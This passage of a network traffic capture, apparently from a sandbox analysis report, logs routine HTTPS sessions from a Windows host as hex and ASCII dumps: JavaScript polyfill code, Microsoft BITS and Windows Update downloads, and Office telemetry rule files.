0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-12 14:41:13 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-12 14:41:13 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-12 14:41:13 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-12 14:41:13 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-12 14:41:13 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-12 14:41:13 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:41:14 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 14:41:14 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=180227 Date: Tue, 12 Nov 2024 14:41:14 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49754	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:41:15 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 14:41:15 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=180264 Date: Tue, 12 Nov 2024 14:41:15 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-12 14:41:15 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49755	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:41:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=G+bEnhNl5FUz8b7&MD=GX5LnaWY HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-12 14:41:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 89dbc140-3bad-465c-9e6b-b193d062e291 MS-RequestId: 46477228-11b1-4bac-a88d-e04fb3cdbad9 MS-CV: hDtqDnTAF0G8j4vj.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 12 Nov 2024 14:41:17 GMT Connection: close Content-Length: 24490
2024-11-12 14:41:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-12 14:41:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49762	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:41:56 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=G+bEnhNl5FUz8b7&MD=GX5LnaWY HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-12 14:41:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 4767ca6f-8262-478b-a722-72c3044596d6 MS-RequestId: 4d415973-d745-4927-af28-fd89b50cddc2 MS-CV: a+QdCvWktkG1PTiX.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 12 Nov 2024 14:41:55 GMT Connection: close Content-Length: 30005
2024-11-12 14:41:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-12 14:41:56 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:41:59 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:41:59 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:59 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 11 Nov 2024 13:19:38 GMT ETag: "0x8DD02537E74B538" x-ms-request-id: a1588731-601e-000d-094b-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144159Z-16547b76f7f2g4rlhC1DFWnx880000000fkg00000000hqse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:41:59 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-12 14:41:59 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-12 14:42:00 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-12 14:42:00 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-12 14:42:00 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-12 14:42:00 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: 